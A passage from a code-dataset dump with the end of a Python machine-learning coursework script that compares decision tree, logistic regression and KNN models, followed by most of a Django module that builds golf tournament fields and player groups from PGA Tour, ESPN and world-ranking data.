REGRESSION')\n print('Best C: {0}'.format(best_c[k_out]))\n print('Error: {0}'.format(test_error_log_reg[k_out]))\n print('=============================')\n\n # KNN\n # =============\n # we find the mean error per C, and we take the C with the minimum error\n minError = 1\n for l_index in range(0, max_l):\n avg_error_l[l_index] = error_per_l[l_index, :].mean()\n if avg_error_l[l_index] < minError:\n minError = avg_error_l[l_index]\n best_l[k_out] = l_index + 1;\n\n # we create a model using the best lambda and find its error\n knn = KNeighborsClassifier(n_neighbors=int(best_l[k_out]))\n knn = knn.fit(X_train_out, Y_train_out.ravel())\n y_knn = knn.predict(X_test_out)\n\n # we calculate the final error of each model\n test_error_knn[k_out] = (sum(np.abs(y_knn - Y_test_out)) / float(len(y_knn))).mean();\n\n # save the model with the lowest error\n if test_error_knn[k_out] <= best_knn_model_error:\n best_knn_model_error = test_error_knn[k_out]\n best_knn_model = knn\n best_knn_model_X_train = X_train_out\n best_knn_model_Y_train = Y_train_out\n best_knn_model_X_test = X_test_out\n best_knn_model_Y_test = y_knn\n\n print('=============================')\n print('KNN')\n print('Best Num of Neighbours: {0}'.format(best_l[k_out]))\n print('Error: {0}'.format(test_error_knn[k_out]))\n print('=============================\\n')\n\n k_out += 1\n\n# Calculate the generalization error\ngen_error_dec_tree = sum(error_weight * test_error_dec_tree)\n\nprint('\\n')\nprint('==============================================')\nprint(' DECISION TREE')\nprint('==============================================')\nprint('Best Model Depth: {0}'.format(best_dec_tree_model.max_depth))\nprint('Best Model Error: {0}'.format(best_dec_tree_model_error))\nprint('==============================================')\nprint('Generalization Error: {0}'.format(gen_error_dec_tree))\nprint('==============================================')\nprint('\\n')\n\n# save the best tree, the best model error,\n# and the errors of the five models\nf = open('dec_tree_data.pckl', 'wb')\npickle.dump([best_dec_tree_model,\n best_dec_tree_model_error,\n best_dec_tree_model_X_train,\n best_dec_tree_model_Y_train,\n best_dec_tree_model_X_test,\n best_dec_tree_model_Y_test,\n test_error_dec_tree,\n gen_error_dec_tree],\n f)\nf.close()\n\n# Calculate the generalization error\ngen_error_log_reg = sum(error_weight * test_error_log_reg)\n\nprint('==============================================')\nprint(' LOGISTIC REGRESSION')\nprint('==============================================')\nprint('Best Model C: {0}'.format(best_log_reg_model.C))\nprint('Best Model Error: {0}'.format(best_log_reg_model_error))\nprint('==============================================')\nprint('Generalization Error: {0}'.format(gen_error_log_reg))\nprint('==============================================')\nprint('\\n')\n\n# save the best model, the best model weights, the best model error,\n# and errors of the five models\nf = open('log_reg_data.pckl', 'wb')\npickle.dump([best_log_reg_model,\n best_log_reg_model_error,\n best_log_reg_model_weight,\n best_log_reg_model_X_train,\n best_log_reg_model_Y_train,\n best_log_reg_model_X_test,\n best_log_reg_model_Y_test,\n test_error_log_reg,\n gen_error_log_reg],\n f)\nf.close()\n\n# Calculate the generalization error\ngen_error_knn = sum(error_weight * test_error_knn)\n\nprint('==============================================')\nprint(' KNN')\nprint('==============================================')\nprint('Best Model n_neighbours: {0}'.format(best_knn_model.n_neighbors))\nprint('Best Model Error: {0}'.format(best_knn_model_error))\nprint('==============================================')\nprint('Generalization Error: {0}'.format(gen_error_knn))\nprint('==============================================')\nprint('\\n')\n\n# save the best model, the best model error,\n# and the errors of the five models\nf = open('knn_data.pckl', 'wb')\npickle.dump([best_knn_model,\n best_knn_model_error,\n best_knn_model_X_train,\n best_knn_model_Y_train,\n best_knn_model_X_test,\n best_knn_model_Y_test,\n test_error_knn,\n gen_error_knn],\n f)\nf.close()\n\n# Boxplot to compare classifier error distributions\n# figure()\n# boxplot(np.concatenate((error_dec_tree.T, error_logreg.T, error_knn.T), axis=1))\n# xlabel('Decision Tree vs Logistic Regression vs K-Nearest Neighbour')\n# ylabel('Cross-validation error [%]')\n# show()","repo_name":"fpegios/02450-intro-to-machine-learning","sub_path":"src/Projects/project2/part2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23187357738","text":"from golf_app.models import Field, Group, Tournament, Season, Golfer, ScoreDict, StatLinks, FedExSeason, FedExField\nimport urllib3\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom golf_app import scrape_cbs_golf, scrape_espn, utils, scrape_scores_picks, populateMPField, populateZurichField, espn_api, pga_t_data, espn_golfer_stats_api\nfrom django.db import transaction\nimport urllib\nfrom urllib.request import Request, urlopen\nfrom bs4 import BeautifulSoup\nimport json\nimport datetime\nimport unidecode \n#import collections\nfrom collections import OrderedDict\nimport csv\nimport string\nfrom operator import itemgetter\nfrom requests import get\nimport time\n\n\n@transaction.atomic\ndef create_groups(tournament_number, espn_t_num=None):\n\n '''takes in 2 tournament numbers for pgatour.com and espn.com to get json files for the field and score. initializes all tables for the tournament'''\n print ('starting populte field', tournament_number)\n season = Season.objects.get(current=True)\n\n t_data = update_t_data(season)\n if Tournament.objects.filter(season=season).count() > 0 and tournament_number != '999': #skip for olympics\n try:\n last_tournament = Tournament.objects.get(current=True, complete=True, season=season)\n last_tournament.current = False\n last_tournament.save()\n key = {}\n key['pk']=last_tournament.pk\n\n for sd in ScoreDict.objects.filter(tournament__season=season):\n if not sd.data_valid():\n sd.update_sd_data()\n\n\n except ObjectDoesNotExist:\n print ('no current tournament')\n else:\n print ('setting up first tournament of season - make sure last season not marketed as current')\n \n #if FedExSeason.objects.filter(season=Season.objects.get(current=True)).exists():\n # FedExSeason.objects.filter(season=Season.objects.get(current=True)).delete()\n #fs = FedExSeason()\n #fs.season = Season.objects.get(current=True)\n #fs.allow_picks = True\n #fs.prior_season_data = get_fedex_data()\n #fs.save()\n\n print ('going to get_field')\n tournament = setup_t(tournament_number, espn_t_num)\n\n owgr_rankings = get_worldrank()\n\n field = get_field(tournament, owgr_rankings)\n print ('field length: ', len(field))\n #OWGR_rankings = {}\n \n if tournament.pga_tournament_num not in ['470', '018', '999', '468', '500']: #Match Play and Zurich (team event) \n groups = configure_groups(field, tournament)\n prior_year = prior_year_sd(tournament) #diff sources for MP & Zurich so don't use this func for those events\n elif tournament.pga_tournament_num == '470':\n groups = configure_mp_groups(tournament) #configure MP groups - 16 groups of 4 based on MP groupings\n elif tournament.pga_tournament_num == '018':\n groups = configure_zurich_groups(tournament)\n elif tournament.pga_tournament_num == '999': # my code for olymics\n groups = configure_groups(field, tournament)\n elif tournament.pga_tournament_num in ['468', '500']: # Ryder Cup, Pres Cup\n groups = configure_ryder_cup_groups(tournament)\n else:\n #shouldnt get here\n print ('populate field bad pga number')\n raise Exception ('Bad PGA tournament number: ', tournament.pga_tournament_num)\n \n if tournament.pga_tournament_num == '999':\n create_olympic_field(field, tournament)\n elif tournament.pga_tournament_num in ['468', '500']:\n create_ryder_cup_field(field, tournament)\n else:\n create_field(field, tournament)\n return ({'msg: ', tournament.name, ' Field complete'})\n\n\ndef update_t_data(season):\n t_data = pga_t_data.PGAData()\n if season.data:\n if season.data == t_data:\n return t_data\n \n print (\"UPDATING PGA T DATA\")\n new_t_data = pga_t_data.PGAData(update=True)\n\n return new_t_data\n \n\ndef get_womans_rankings():\n\n #req = Request(\"https://www.lpga.com/players\", headers={'User-Agent': 'Mozilla/5.0'})\n #html = urlopen(req).read()\n \n #soup = BeautifulSoup(html, 'html.parser')\n #print (soup)\n #rankslist = (soup.find(\"div\", {'id': 'topMoneyListTable'}))\n #rankslist = (soup.find(\"table\"))\n #print (rankslist)\n owgr_dict = {}\n\n with open('rolexrankings_2021-07-19.csv', newline='') as csvfile:\n data = csv.reader(csvfile, delimiter=',', quotechar='|')\n next(data)\n for row in data:\n #print (row[0])\n owgr_dict[string.capwords(row[2].lower())] = {'rank': row[0]}\n #for row in rankslist.find_all('tr')[1:]:\n #try:\n # player = row[0]\n # rank = row[1]\n # ranks[player] = rank\n #except Exception as e:\n # print('exeption 1',row,e)\n \n return owgr_dict\n\n\ndef get_worldrank():\n '''Goes to OWGR web site takes no input, goes to web to get world golf rankings and returns a dictionary with player name as a string and key, ranking as a string in values'''\n\n print ('start owgr.com lookp')\n \n url = 'https://apiweb.owgr.com/api/owgr/rankings/getRankings?pageSize=10411&pageNumber=1®ionId=0&countryId=0&sortString=Rank+ASC'\n with urllib.request.urlopen(url) as schedule_json_url:\n data = json.loads(schedule_json_url.read().decode())\n\n d = {x.get('player').get('fullName').split('(')[0]: [x.get('rank'), x.get('lastWeekRank'), x.get('endLastYearRank')] for x in data.get('rankingsList')}\n\n return d\n\n\ndef setup_t(tournament_number, espn_t_num=None):\n '''takes a t number as a string, returns a tournament object'''\n season = Season.objects.get(current=True)\n print ('getting field PGA Num: ', tournament_number, ' ESPN NUM: ', espn_t_num)\n if tournament_number != '999': #olympics\n json_url = 'https://statdata-api-prod.pgatour.com/api/clientfile/Field?T_CODE=r&T_NUM=' + str(tournament_number) + '&YEAR=' + str(season) + '&format=json'\n print (json_url)\n tourny = Tournament() \n try:\n \n req = Request(json_url, headers={'User-Agent': 'Mozilla/5.0'})\n data = json.loads(urlopen(req).read())\n \n print ('Seasons: ', data[\"Tournament\"][\"T_ID\"][1:5], str(season))\n if data[\"Tournament\"][\"T_ID\"][1:5] != str(season):\n print ('check field, looks bad!')\n raise LookupError('Tournament season mismatch: ', data[\"Tournament\"][\"T_ID\"]) \n tourny.name = data[\"Tournament\"][\"TournamentName\"]\n except Exception as e:\n print ('PGA lookup issue, going to espn', e)\n url = 'https://www.espn.com/golf/leaderboard?tournamentId=' + str(espn_t_num)\n espn = scrape_espn.ScrapeESPN(tournament=tourny, setup=True, url=url)\n print ('espn T Name: ', espn.get_t_name())\n tourny.name = espn.get_t_name()\n\n tourny.season = season\n start_date = datetime.date.today()\n print ('T Start Date: ', start_date)\n while start_date.weekday() != 3:\n start_date += datetime.timedelta(1)\n tourny.start_date = start_date\n tourny.field_json_url = json_url\n tourny.score_json_url = 'https://statdata.pgatour.com/r/' + str(tournament_number) +'/' + str(season) + '/leaderboard-v2mini.json'\n \n tourny.pga_tournament_num = tournament_number\n tourny.current=True\n tourny.complete=False\n tourny.score_update_time = datetime.datetime.now()\n tourny.cut_score = \"no cut info\"\n tourny.saved_cut_num = 65\n tourny.saved_round = 1\n tourny.saved_cut_round = 2\n if espn_t_num or tourny.pga_tournament_num != '470':\n tourny.espn_t_num = espn_t_num\n else: \n tourny.espn_t_num = scrape_espn.ScrapeESPN(tourny).get_t_num()\n tourny.save()\n elif tournament_number == '999':\n json_url = ''\n \n tourny = Tournament() \n tourny.name = \"Olympic Golf\"\n\n tourny.season = season\n start_date = datetime.date.today()\n \n while start_date.weekday() != 3:\n start_date += datetime.timedelta(1)\n tourny.start_date = start_date\n tourny.field_json_url = json_url\n tourny.score_json_url = ''\n \n tourny.pga_tournament_num = tournament_number\n tourny.current=True\n tourny.complete=False\n tourny.score_update_time = datetime.datetime.now()\n tourny.cut_score = \"no cut info\"\n tourny.saved_cut_num = 60\n tourny.saved_round = 1\n #tourny.saved_cut_round = 2 \n tourny.has_cut = False\n tourny.espn_t_num = '401285309'\n tourny.save()\n\n # Ryder cup: tourny.espn_t_num = '401219595'\n\n else:\n raise Exception('Unknown T Num logic, pls check')\n \n return tourny\n\ndef get_field(t, owgr_rankings):\n '''takes a tournament object, goes to web to get field and returns a dict'''\n print ('getting field get_field func') \n field_dict = {}\n if t.pga_tournament_num == '470':\n print ('match play')\n #mp_dict = scrape_scores_picks.ScrapeScores(t, 'https://www.pgatour.com/competition/' + str(t.season.season) + '/wgc-dell-technologies-match-play/group-stage.html').mp_brackets()\n scrape_scores_picks.ScrapeScores(tournament=t, url=\"https://www.pgatour.com/tournaments/2023/world-golf-championships-dell-technologies-match-play/R2023470/group-stage\")\n print ('back from scrpate')\n for player, data in mp_dict.items():\n ranks = utils.fix_name(player, owgr_rankings)\n field_dict[player] = {'pga_num': data.get('pga_num'),\n 'curr_owgr': ranks[1][0],\n 'soy_owgr': ranks[1][2],\n 'sow_owgr': ranks[1][1]\n }\n print ('mp field dict: ', field_dict)\n elif t.pga_tournament_num == '999': #Olympics\n # update this to use the class from olympics_sd.py\n mens_field = scrape_espn.ScrapeESPN(tournament=t, url='https://www.espn.com/golf/leaderboard?tournamentId=401285309', setup=True).get_data() \n womens_field = scrape_espn.ScrapeESPN(tournament=t, url=\"https://www.espn.com/golf/leaderboard/_/tour/womens-olympics-golf\", setup=True).get_data()\n \n for man, data in mens_field.items():\n if man != 'info':\n ranks = utils.fix_name(man, owgr_rankings)\n field_dict[man] = {'espn_num': data.get('pga_num'),\n 'sex': 'dude',\n 'curr_owgr': ranks[1][0],\n 'soy_owgr': ranks[1][2],\n 'sow_owgr': ranks[1][1], \n 'flag': data.get('flag')\n }\n womens_ranks = get_womans_rankings()\n\n for woman, stats in womens_field.items():\n \n if woman != 'info':\n rank = utils.fix_name(woman, womens_ranks)\n field_dict[woman] ={'espn_num': stats.get('pga_num'),\n 'sex': 'chick',\n 'curr_owgr': int(rank[1].get('rank')) + 1000,\n 'flag': stats.get('flag')}\n #field_dict['info'] = mens_field.get('info')\n #elif t.pga_tournament_num == 'RYDCUP':\n elif t.pga_tournament_num == '468':\n us_team = ['Scottie Scheffler',\n 'Wyndham Clark',\n 'Patrick Cantlay',\n 'Brian Harman',\n 'Max Homa',\n 'Xander Schauffele',\n 'Sam Burns',\n 'Rickie Fowler',\n 'Brooks Koepka',\n 'Collin Morikawa',\n 'Jordan Spieth',\n 'Justin Thomas']\n\n euro_team = ['Rory McIlroy',\n 'Jon Rahm',\n 'Viktor Hovland',\n 'Tyrrell Hatton',\n 'Matt Fitzpatrick',\n 'Robert MacIntyre',\n 'Shane Lowry',\n 'Tommy Fleetwood',\n 'Justin Rose',\n 'Sepp Straka',\n 'Nicolai Hojgaard',\n 'Ludvig Aberg']\n \n for u in us_team:\n print ('RYDER player: ', u)\n ranks = utils.fix_name(u, owgr_rankings)\n g = Golfer.objects.get(golfer_name=u) \n field_dict[u] = {'pga_num': g.golfer_pga_num,\n 'team': 'USA',\n 'curr_owgr': ranks[1][0],\n 'soy_owgr': ranks[1][2],\n 'sow_owgr': ranks[1][1]}\n for i in euro_team:\n print ('RYDER player: ', i)\n ranks = utils.fix_name(u, owgr_rankings)\n g = Golfer.objects.get(golfer_name=i) \n \n field_dict[i] = {'pga_num': g.golfer_pga_num,\n 'team': 'INTL',\n 'curr_owgr': ranks[1][0],\n 'soy_owgr': ranks[1][2],\n 'sow_owgr': ranks[1][1]}\n\n else:\n try:\n headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Mobile Safari/537.36'}\n json_url = 'https://statdata-api-prod.pgatour.com/api/clientfile/Field?T_CODE=r&T_NUM=' + str(t.pga_tournament_num) + '&YEAR=' + str(t.season.season) + '&format=json'\n print (json_url)\n\n req = Request(json_url, headers=headers)\n data = json.loads(urlopen(req).read())\n print ('data', len(data))\n for player in data[\"Tournament\"][\"Players\"][0:]:\n if player[\"isAlternate\"] == \"Yes\":\n #exclude alternates from the field\n continue\n\n name = (' '.join(reversed(player[\"PlayerName\"].rsplit(', ', 1))))\n playerID = player['TournamentPlayerId']\n if player.get('TeamID'):\n team = player.get('TeamID')\n elif player.get('cupTeam'):\n team = player.get('cupTeam')\n else:\n team = None\n\n ranks = utils.fix_name(name, owgr_rankings)\n field_dict[name] = {'pga_num': playerID,\n 'team': team,\n 'curr_owgr': ranks[1][0],\n 'soy_owgr': ranks[1][2],\n 'sow_owgr': ranks[1][1]}\n except Exception as e:\n print ('pga scrape failed: ', e) #to use this need to update to key everything from espn_num\n data = espn_api.ESPNData(t=t, force_refresh=True, setup=True).field()\n\n for golfer in data:\n name = golfer.get('athlete').get('displayName')\n ranks = utils.fix_name(name, owgr_rankings)\n #need this for now, fix rest of code to use ESPN\n try:\n g_obj = Golfer.objects.get(espn_number=golfer.get('athlete').get('id'))\n print ('build field found golfer', g_obj)\n except Exception as f:\n print ('build field cant find: ', name, ' trying setup')\n pga_num = find_pga_num(name)\n \n if not pga_num:\n g_obj = get_golfer(player=name, pga_num=None, espn_num=golfer.get('athlete').get('id'))\n elif len(pga_num) == 1:\n g_obj = get_golfer(player=name, pga_num=pga_num[0], espn_num=golfer.get('athlete').get('id') )\n else:\n g_obj = get_golfer(player=name, pga_num=None, espn_num=golfer.get('athlete').get('id'))\n\n ranks = utils.fix_name(name, owgr_rankings)\n field_dict[name] = {'pga_num': g_obj.golfer_pga_num, \n 'team': None,\n 'curr_owgr': ranks[1][0],\n 'soy_owgr': ranks[1][2],\n 'sow_owgr': ranks[1][1]}\n\n\n print (field_dict)\n return field_dict\n\n\ndef configure_groups(field_list, tournament):\n '''takes a list, calculates the number of groups and players per group, returns a dict'''\n ## try to simplify this 10 picks (9 or 10 groups) for any tournament over 30 and dynamic gruoups of 3 for smaller. \n print ('config groups')\n group_cnt = 1\n groups = {}\n #if len(field_list) > 64:\n if len(field_list) > 89:\n group_size = 10\n\n if tournament.pga_tournament_num == '999':\n print ('setting up olympics')\n group_size = 12\n while group_cnt < 10:\n groups[group_cnt] = group_size\n group_cnt += 1\n remainder = 0\n else:\n while group_cnt <6:\n groups[group_cnt] = group_size\n group_cnt += 1\n\n group_size = int(round((len(field_list) - 50)/4, 0))\n print ('group size 6-8: ', group_size)\n if (group_size * 4) + 50 >= len(field_list):\n remainder = len(field_list) - (50 + 4*group_size)\n else:\n remainder = int(len(field_list) % (50 + (group_size *4)))\n print ('remainder ', remainder)\n while group_cnt > 5 and group_cnt < 9:\n groups[group_cnt] = group_size\n group_cnt += 1\n #added to dict at end of funciton\n #group_size = len(field_list) - 50\n #remainder = 0\n\n #elif len(field_list) > 29 and len(field_list) < 65 :\n elif len(field_list) > 29 and len(field_list) < 90:\n ## change this to just spread the field. Don't forget you need specific logic for the hero (18 golfer field)\n print ('bet 30 - 69, 10 groups')\n total_groups = 10\n group_size = int(round(len(field_list) / total_groups, 0)) #if you round this you need to cope wiht a negative remainder and smaller last group.\n if len(field_list) > total_groups*group_size:\n remainder = len(field_list) % (total_groups*group_size)\n else:\n remainder = len(field_list) - (total_groups*group_size)\n \n while group_cnt < total_groups:\n groups[group_cnt] = group_size\n group_cnt +=1\n else:\n #should only be here for fields less than 30 golfers\n print ('field less than 30')\n group_size = 3\n remainder = len(field_list) % (group_size) \n total_groups = (len(field_list)-(remainder))/group_size\n\n while group_cnt < total_groups:\n groups[group_cnt] = group_size\n group_cnt +=1\n print ('XXX ', group_size, remainder)\n if remainder == 0:\n groups[group_cnt] = group_size\n else:\n groups[group_cnt] = group_size + remainder\n\n for k,v in groups.items():\n Group.objects.get_or_create(tournament=tournament, number=k,playerCnt=v)[0]\n\n print ('Configured Groups: ', groups)\n return groups\n\ndef configure_mp_groups(tournament):\n '''takes a tournament, creates 12 groups of 4, assumes 64 player tournament. retruns a dict'''\n print ('config MP groups')\n #print ('len field list in configure_groups: ', len(field_list))\n group_dict = {}\n\n group = 1\n while group < 17:\n #Group.objects.get_or_create(tournament=Tournament.objects.get(current=True, season__current=True), number=group,playerCnt=4)\n Group.objects.get_or_create(tournament=tournament, number=group,playerCnt=4)\n group_dict[group] = '4' #hardcode to 4 as MP has 4 per group\n group += 1\n\n print (group_dict)\n return group_dict\n\ndef configure_zurich_groups(tournment):\n '''takes a tournament. updates groups for the tournament, retruns a dict'''\n group_dict = {}\n i = 1\n while i < 9:\n group = Group()\n group.tournament = tournment\n group.number = i\n group.playerCnt = 10\n group.save()\n group_dict[i]=10 #hard coded to 10, assumes 80 teams. \n i +=1\n \n return group_dict\n\n\ndef configure_ryder_cup_groups(tournment):\n '''takes a tournament. updates groups for the tournament, retruns a dict'''\n group_dict = {}\n i = 1\n while i < 7:\n group = Group()\n group.tournament = tournment\n group.number = i\n group.playerCnt = 4\n group.save()\n group_dict[i]=4 \n i +=1\n \n return group_dict\n\n\ndef create_field(field, tournament):\n '''takes a dict and tournament object, updates creates field database, returns a dict'''\n sorted_field = {}\n espn_data = get_espn_players(tournament)\n if tournament.pga_tournament_num == '470':\n sorted_field = field\n elif tournament.pga_tournament_num == '018':\n sorted_field = zurich_field(field) #Zurich team logic\n else:\n sorted_field = OrderedDict({k:v for k,v in sorted(field.items(), key=lambda item: int(item[1].get('curr_owgr')))})\n #print (sorted_field)\n player_cnt = 1\n group_num = 1\n\n for player, info in sorted_field.items():\n print (player, info)\n golfer = get_golfer(player, info.get('pga_num'), espn_data)\n group = Group.objects.get(tournament=tournament, number=group_num)\n #print (player, info)\n f = Field()\n\n f.tournament = tournament\n f.playerName = player\n f.alternate = False\n f.playerID = info.get('pga_num')\n f.golfer = golfer\n f.group = group\n if info.get('team'):\n f.teamID = info.get('team')\n f.partner = info.get('partner')\n f.partner_golfer = get_golfer(info.get('partner'), info.get('partner_pga_num'), espn_data)\n f.partner_owgr = info.get('partner_owgr')\n f.currentWGR = info.get('team_owgr')\n else:\n f.currentWGR = info.get('curr_owgr')\n f.sow_WGR = info.get('sow_owgr')\n f.soy_WGR = info.get('soy_owgr')\n\n f.save()\n \n if player_cnt < group.playerCnt:\n player_cnt += 1\n elif player_cnt == group.playerCnt:\n group_num += 1\n player_cnt = 1\n\n print ('saved field objects')\n # doing here to save this data before updating the field by field records\n #move these to separate path\n #fed_ex = get_fedex_data(tournament)\n #individual_stats = get_individual_stats()\n\n\ndef setup_fedex_data(t=None, update=False):\n if not t:\n t= Tournament.objects.get(current=True)\n \n try:\n fedex = get_fedex_data(t,update)\n except Exception as e:\n print ('populate field setup_fedex_data issue: ', e)\n return {}\n return fedex\n\n\ndef setup_individual_stats(update=False):\n \n try:\n stats = get_individual_stats(update=update) \n except Exception as e:\n print ('populate field setup_individual_stats issue: ', e)\n return {}\n return stats\n\n\ndef create_olympic_field(field, tournament):\n '''takes a dict and tournament object, updates creates field database, returns a dict'''\n sorted_field = {}\n #espn_data = get_espn_players()\n sorted_field = OrderedDict({k:v for k,v in sorted(field.items(), key=lambda item: int(item[1].get('curr_owgr')))})\n\n player_cnt = 1\n group_num = 1\n\n for player, info in sorted_field.items():\n print (player, info)\n if info.get('espn_num') and Golfer.objects.filter(espn_number=info.get('espn_num')).exists():\n golfer = Golfer.objects.get(espn_number=info.get('espn_num'))\n elif Golfer.objects.filter(golfer_name=player).exists():\n golfer = Golfer.objects.get(golfer_name=player)\n golfer.espn_number = info.get('espn_num')\n if not golfer.flag_link or golfer.flag_link == '':\n golfer.flag_link = info.get('flag')\n golfer.save()\n else:\n golfer = Golfer()\n golfer.golfer_name=player\n golfer.espn_number = info.get('espn_num')\n golfer.flag_link = info.get('flag')\n golfer.save()\n\n\n #golfer = get_golfer(player, info.get('pga_num'), espn_data)\n group = Group.objects.get(tournament=tournament, number=group_num)\n #print (player, info)\n f = Field()\n\n f.tournament = tournament\n f.playerName = player\n f.alternate = False\n #f.playerID = info.get('pga_num')\n f.golfer = golfer\n f.group = group\n f.currentWGR = info.get('curr_owgr')\n\n f.save()\n \n if player_cnt < group.playerCnt:\n player_cnt += 1\n elif player_cnt == group.playerCnt:\n group_num += 1\n player_cnt = 1\n\n #need to do this after full field is saved for the calcs to work. No h/c in MP\n fed_ex = get_fedex_data(tournament)\n individual_stats = get_individual_stats()\n\n for f in Field.objects.filter(tournament=tournament):\n if tournament.pga_tournament_num not in ['470', '018']:\n f.handi = f.handicap()\n else:\n f.handi = 0\n\n f.prior_year = f.prior_year_finish()\n recent = OrderedDict(sorted(f.recent_results().items(), reverse=True))\n f.recent = recent\n f.season_stats = f.golfer.summary_stats(tournament.season) \n\n # print (fed_ex)#\n if fed_ex.get(f.playerName):\n f.season_stats.update({'fed_ex_points': fed_ex.get(f.playerName).get('points'),\n 'fed_ex_rank': fed_ex.get(f.playerName).get('rank')})\n else:\n f.season_stats.update({'fed_ex_points': 'n/a',\n 'fed_ex_rank': 'n/a'})\n\n if individual_stats.get(f.playerName):\n player_s = individual_stats.get(f.playerName)\n for k, v in player_s.items():\n if k != 'pga_num':\n f.season_stats.update({k: v})\n \n f.save()\n\n for g in Golfer.objects.all():\n g.results = g.get_season_results()\n g.save()\n\n\n print ('saved field objects')\n\n\ndef create_ryder_cup_field(field, tournament):\n '''takes a dict and tournament object, updates creates field database, returns a dict'''\n sorted_field = {}\n espn_data = get_espn_players(tournament)\n intl_d = {k:v for k,v in field.items() if v.get('team') == \"INTL\"}\n sorted_intl = OrderedDict({k:v for k,v in sorted(intl_d.items(), key=lambda item: int(item[1].get('curr_owgr')))})\n usa_d = {k:v for k,v in field.items() if v.get('team') == \"USA\"}\n sorted_usa = OrderedDict({k:v for k,v in sorted(usa_d.items(), key=lambda item: int(item[1].get('curr_owgr')))})\n\n player_cnt = 1\n group_num = 1\n\n for player, info in sorted_intl.items():\n print (player, info)\n golfer = get_golfer(player, info.get('pga_num'), espn_data)\n golfer = Golfer.objects.get(golfer_pga_num=info.get('pga_num')) #assume any ryder cup golfer already set up\n group = Group.objects.get(tournament=tournament, number=group_num)\n #print (player, info)\n f = Field()\n print ('saving field')\n f.tournament = tournament\n f.playerName = player\n f.alternate = False\n f.playerID = info.get('pga_num')\n f.golfer = golfer\n f.group = group\n f.teamID = info.get('team')\n f.currentWGR = info.get('curr_owgr')\n f.sow_WGR = info.get('sow_owgr')\n f.soy_WGR = info.get('soy_owgr')\n f.handi = 0\n\n f.save()\n #print ('saved field')\n if player_cnt < 2: #hard code ok, just 2 per team per group\n player_cnt += 1\n elif player_cnt == 2:\n group_num += 1\n player_cnt = 1\n #f.save()\n\n #need to do this after full field is saved for the calcs to work. No h/c in MP\n #print ('thru field')\n\n player_cnt = 1\n group_num = 1\n\n for player, info in sorted_usa.items():\n print (player, info)\n golfer = get_golfer(player, info.get('pga_num'), espn_data)\n group = Group.objects.get(tournament=tournament, number=group_num)\n #print (player, info)\n f = Field()\n\n f.tournament = tournament\n f.playerName = player\n f.alternate = False\n f.playerID = info.get('pga_num')\n f.golfer = golfer\n f.group = group\n f.teamID = info.get('team')\n f.currentWGR = info.get('curr_owgr')\n f.sow_WGR = info.get('sow_owgr')\n f.soy_WGR = info.get('soy_owgr')\n f.handi = 0\n\n f.save()\n \n if player_cnt < 2: #hard code ok, just 2 per team per group\n player_cnt += 1\n elif player_cnt == 2:\n group_num += 1\n player_cnt = 1\n\n #need to do this after full field is saved for the calcs to work. No h/c in MP\n fed_ex = get_fedex_data(tournament)\n individual_stats = get_individual_stats()\n\n #should be moved to sepatate api\n # for f in Field.objects.filter(tournament=tournament):\n \n # f.prior_year = 'n/a'\n # recent = OrderedDict(sorted(f.recent_results().items(), reverse=True))\n # f.recent = recent\n # f.season_stats = f.golfer.summary_stats(tournament.season) \n\n # # print (fed_ex)#\n # if fed_ex.get(f.playerName):\n # f.season_stats.update({'fed_ex_points': fed_ex.get(f.playerName).get('points'),\n # 'fed_ex_rank': fed_ex.get(f.playerName).get('rank')})\n # else:\n # f.season_stats.update({'fed_ex_points': 'n/a',\n # 'fed_ex_rank': 'n/a'})\n\n # if individual_stats.get(f.playerName):\n # player_s = individual_stats.get(f.playerName)\n # else:\n # player_s = {}\n # for k, v in player_s.items():\n # if k != 'pga_num':\n # f.season_stats.update({k: v})\n \n # f.save()\n\n # for g in Golfer.objects.all():\n # g.results = g.get_season_results()\n # g.save()\n\n\n print ('saved Ryder Cup field objects')\n\n\ndef get_individual_stats(t=None, update=False):\n start = datetime.datetime.now()\n d = {}\n\n if not t:\n t= Tournament.objects.get(current=True)\n\n if t.individual_stats and len(t.individual_stats) > 0 and not update:\n return t.individual_stats\n\n try:\n for f in Field.objects.filter(tournament=t):\n data = espn_golfer_stats_api.ESPNGolfer(f.golfer.espn_number)\n d[f.golfer.golfer_name] = {'espn_data': data.all_stats}\n\n t.individual_stats = d\n t.save()\n\n #PGA changed website can't scrape\n # for stat in StatLinks.objects.all():\n # print (stat.link)\n # try: \n # html = urllib.request.urlopen(stat.link)\n # soup = BeautifulSoup(html, 'html.parser')\n\n # for row in soup.find('table', {'id': 'statsTable'}).find_all('tr')[1:]:\n # if d.get(row.find('td', {'class': 'player-name'}).text.strip()):\n # d[row.find('td', {'class': 'player-name'}).text.strip()].update({stat.name: {\n # 'rank': row.find_all('td')[0].text.strip(),\n # #'rounds': row.find_all('td')[3].text,\n # 'average': row.find_all('td')[4].text,\n # 'total_sg': row.find_all('td')[5].text,\n # #'measured_rounds': row.find_all('td')[6].text\n # }})\n # else:\n # d[row.find('td', {'class': 'player-name'}).text.strip()] = {'pga_num': row.get('id').strip('playerStatsRow'),\n # 'stats_rounds': row.find_all('td')[3].text,\n # 'stats_measured_rounds': row.find_all('td')[6].text\n # }\n # d[row.find('td', {'class': 'player-name'}).text.strip()].update( \n # {stat.name: {'rank': row.find_all('td')[0].text.strip(),\n # #'rounds': row.find_all('td')[3].text,\n # 'average': row.find_all('td')[4].text,\n # 'total_sg': row.find_all('td')[5].text,\n # #'measured_rounds': row.find_all('td')[6].text\n # }})\n\n # t.individual_stats = d\n # t.save()\n\n except Exception as e:\n print ('get_individual_stats exception ', e)\n print ('individual stats calc duraion: ', datetime.datetime.now() - start)\n return d\n\n\ndef get_fedex_data(tournament=None, update=False):\n '''takes an optional tournament object to update/setup, returns a dict'''\n print ('updating fedex data', tournament, update) \n start = datetime.datetime.now()\n if tournament and not update:\n if tournament.fedex_data and len(tournament.fedex_data) > 0:\n return tournament.fedex_data\n\n data = {}\n try:\n season = Season.objects.get(current=True)\n #prior_t = Tournament.objects.filter(season__current=True).order_by('-pk')[1]\n print_t = tournament.prior_t()\n #print (prior_t.fedex_data)\n c = 0 \n #for g in FedExField.objects.filter(season__season__current=True, golfer__espn_number='9780'):\n g_count = FedExField.objects.filter(season__season__current=True).count()\n for g in FedExField.objects.filter(season__season__current=True):\n if 